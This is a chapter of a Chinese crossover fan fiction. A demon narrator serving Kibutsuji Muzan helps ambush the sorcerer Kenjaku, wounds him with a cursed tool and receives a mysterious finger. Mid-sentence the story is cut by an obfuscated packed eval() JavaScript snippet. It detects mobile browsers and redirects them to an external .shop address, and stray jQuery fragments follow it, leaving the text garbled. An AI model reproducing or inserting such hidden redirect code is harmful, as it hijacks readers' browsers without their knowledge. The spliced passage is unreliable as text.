31.入职第十二天
    羂索一惊,往后看去。

    一个面色惨白的男人穿着一身宽大的素色衣裳站在阴影下,听见了对面那个蠢女人殷切的话,皱起了眉头,似要发火。

    当他的目光和羂索相遇,他周身的火气更是憋不住,“就是你这家伙啊......”

    随着鬼舞辻无惨的这句话,一群面目狰狞的恶鬼从他身后缓缓出现。

    羂索的笑彻底僵住了,他的眼斜睨着那个看起来依旧老实的蠢女人,忍不住咬牙切齿道:“真是小看你了啊。”

    我看着这一触即发的斗争,忍不住摸了摸自己后脑勺,十分谦逊地应答:“哪里哪里。”

    没等羂索回嘴,我就倒退数步,为从我身边走来的鬼让路--战斗要开始了。

    *

    我对我自己的命十分珍惜,就算见义勇为,也不会舍己为人到要自我牺牲性命的程度。

    因此,在一发现羂索的时候,我就立马在脑内通过直呼鬼舞辻无惨的名字来揺号他。

    一接收到鬼舞辻愤怒的声音,我就立马表忠心画饼双管齐下--“鬼舞辻无惨大人!我发现了那个白发妹妹头冰系咒术师的踪迹,他正与他的同伴商议如何害您,现下那个白发妹妹头冰系咒术师已经先行离开,只剩下他同伴一人!如果直接抓住了他,一定能严刑拷打出他们的计谋,属下愿意为您作为诱饵来引诱他......”

    我知道鬼舞辻无惨一定会来。

    鬼舞辻无惨已经抱头鼠窜躲躲藏藏了许久,他虽然忌讳冰系咒术师,但是随着实力的增长,那副小肚鸡肠睚眦必报的性格又被激发出来,复仇之心又占据了他的心神。

    而且,不得不说,他对诅咒师颇有研究。

    我不懂什么是咒力,也不明白关于咒灵是什么。毕竟鬼舞辻无惨这个极度自我的家伙只负责发布命令,不负责员工培训。这才会使我在那个缝合怪面前手无缚鸡之力一般。

    一朝被蛇咬十年怕井绳,至少,鬼舞辻无惨看起来掌握这对付诅咒师们的方法。我看着某些鬼拿着某种特质的武器,朝着空中猛地一挥,就让那个缝合怪狩衣男露出了吃惊的表情。

    这么说来武器是关键啊。

    我又没有顺手的武器,只是老老实实地摸着鱼,不挡着别的鬼的道,又在鬼舞辻无惨看过来的时候假装很忙地挥舞着拳头,和空气斗智斗勇--对我来说,他们两败俱伤最好。

    期间有鬼倒下,缝合怪白色狩衣上也不断渗出血迹。

    只不过,我望着远方,忍不住眯起了眼睛。月亮西垂,夜色开始由浓转淡,多数的鬼都开始躁动了起来,就连鬼舞辻无惨的攻击都变得更加狠厉了。

    那么,究竟谁会赢呢?

    鬼舞辻无惨看着眼前焦灼的战况,心下不满。他收集的咒具并不多,只能让几个还算出挑的鬼持着咒具上前进攻。其他鬼就作为干扰那个诅咒师的诱饵就行。

    不过这样效率实在太低!

    难得找到了这个诅咒师的踪迹,如果不能活捉他,恐怕之后又要在暗处作怪。

    那个冰系诅咒师除了战力,在智谋方面似乎一般。他一直怀疑还有其他人在背后操控,经过这个下女的报信,他才能锁定这个家伙。

    所以,“你给我过来!”

    我听着鬼舞辻无惨的暴吼,不得不放下摸鱼的心,屁颠屁颠地赶过去。还没在他身前站定,手上就被扔来了一把砍柴刀。

    “这是咒具,给我好好拿去砍那个家伙。”鬼舞辻无惨扔完了咒具,看着那个下女讶异地发问。

    “无惨大人,不需要再留活口了吗?”

    真是个蠢问题。鬼舞辻无惨冷笑一声,看着那个被围攻的诅咒师和逐渐变淡的夜色--一旦这家伙死了,那么无论是什么针对他自己的阴谋不就自然会消失了吗?

    我的问题只得到了鬼舞辻无惨的冷笑,我了然,接过了砍柴刀就直接向那个缝合怪砍去,嘴里顺便喊着自编的血鬼术“超级大金刚”。

    不得不说,咒具还是有点用处的。虽然看不见什么,但是我能感觉到柴刀砍下时切割掉了无形的什么东西,而那个缝合怪的表情也从游刃有余变成了惊恐。

    真是奇怪啊,干坏事的人也会害怕吗?

    我有些不解,但我并不需要思考那么多,只需要--挥刀就好。

    “超级大金刚!”随着这声口号,我将砍刀挥下,我的衣服溅上了一片腥热。我低头看了看自己变得乱七八糟的衣服,颇有些为难--又得换套新衣服了。

    鬼舞辻无惨显然是意识不到我的烦恼,他只是满意地在阴影下冷笑,号令着其他鬼将那位缝合怪的躯体分食。

    我站着离他们远远的,躲在阴影下,有一下没一下地把玩着砍柴刀。老实说,这玩意还挺好用的,我不知道我如果向鬼舞辻无惨讨要的话,他能给我吗?

    漫无目的地想着,我忽然感觉身边有一个鬼向我靠近。

    咦,哪个鬼这么有觉悟,居然懂得忙中摸鱼?

    我转头看去,却见那鬼拿着一个手指向我靠近。

    那个手指看起来有些年头了,指甲很长,散发着一些不妙的气息。

    不是吧,难道是分享小零食。我并不好这口啊?我皱着眉头,思考怎么拒绝同事莫名其妙的好意时,却见那家伙径直将手指向我扔来。

    不是,我还没说话咋就急眼了呢?我正欲躲过,却见那家伙向我做了个口型,不由一怔,下意识躲着鬼舞辻无惨的视线接过了那根手指。

    这个家伙,他说的是--“如果你想彻底摆脱鬼舞辻无惨,就记得吃下它。”

    我紧盯着这家伙,看着他作为鬼腐烂的上额上出现了一道诡异的缝合线。

    看来是缝合怪转移了!他应该是趁乱钻到了死去的鬼的躯体中,给自己重新找了个宿主。

    此时已经天要破晓,我看着即将闪身离开的鬼舞辻无惨,又看着毅然决然往阳光下走的被缝合怪附身的鬼,忍不住咬牙--可恶,这家伙就掌握着鬼不能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603862|142476||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见阳光的这点。

    而我也不敢再鬼舞辻无惨面前展现出自己特殊的体质去阳光下追他。

    可恶,“无惨大人,那家伙逃跑了!”我只能躲在密林中,在脑中大念鬼舞辻无惨的名字,指着那家伙逃跑的方向。

    我看着那头顶缝合线的鬼微笑地走向阳光,在众鬼的惊悚的视线下,划为灰烬,只是留下了一个脑子被不知名的东西托举着离去。

    我听见鬼舞辻无惨在我脑中大骂出了一串脏话,我看着众鬼伏倒在阴影处,颤着身子土下座的样子,猜想这或许是群通知。

    我也假装害怕的样子,颤着身子蹲下就当歇歇脚,一遍盘点着今日的战况。

    鬼舞辻无惨失去了一批鬼,那个缝合怪看起来元气大伤,我还收获了一个诡异的手指,总的来说,我应该不算亏。

    不过危机并没有解除,那个缝合怪的脑子还在,看起来应该暂时不会放下对我□□的垂涎,而鬼舞辻无惨这边--

    我抬头看着鬼舞辻无惨在阴影处暴怒的身影,不由忖度着--难道他要跟着一群鬼在这里站到晚上?感觉不像是这家伙的风格啊?

    或许是感应到了我的视线,鬼舞辻无惨对上了我的眼,又是冷哼一声。一个抱着琵琶半遮面的女鬼从他身旁走出。

    咦?这种时候还要奏乐一曲吗?鬼舞辻无惨不是吧排场这么大?

    在我暗暗吐槽之际,我看着那位琵琶女鬼轻轻拨动了一下弦,发出一声浑厚的“嗖”声,我便感觉一时间天旋地转,整个人像是被扔到了高速旋转的风车上一般极其想吐。

    下一秒,眼前的景色剧变,我们出现在了一间破旧的大房间内。

    这种过场感好熟悉啊?我好不容易从眩晕中恢复过来,突然这么想到。

    好像总感觉曾经什么时候也经历过这种眼前场景变换的样子。

    我挠挠头,但是怎么也没想出来,便果断放弃了。看了看四周还趴在地上的鬼,又看了看站定一脸不悦的鬼舞辻无惨和他身旁看不出表情的琵琶女鬼。

    我不由感慨,老板待遇就是不一样,这样的空间转换里别人就像坐破路驴车,他就能坐马车还加上软垫的。说不是同事的拍马屁小妙招我都不信。

    许是将我愤慨的眼神当成崇拜,鬼舞辻无惨难得视线平静地从我脸上划过。

    不,总感觉这家伙在没搞死对手后心情不会那么平静。这绝对还要作妖。

    我的直觉并没有出错,在我端正跪坐之际,我感觉身后有什么东西爆裂的身影。

    我微微扭头一看,便看见了几个鬼爆炸过的痕迹和周遭颤颤巍巍的鬼。怎么说呢,我说变成鬼自爆本来是唬缝合怪的,原来这么惨烈的吗?

    我不忍直视地收回视线,听着鬼舞辻无惨缓缓开口,“没有的家伙,竟然这么多鬼都拿不下一个普通的诅咒师。”

    鬼舞辻无惨身后的触手挥舞着,我看见他狠狠攥着一只鬼的脖子,声音很低,“你说,我留你们干什么用呢?”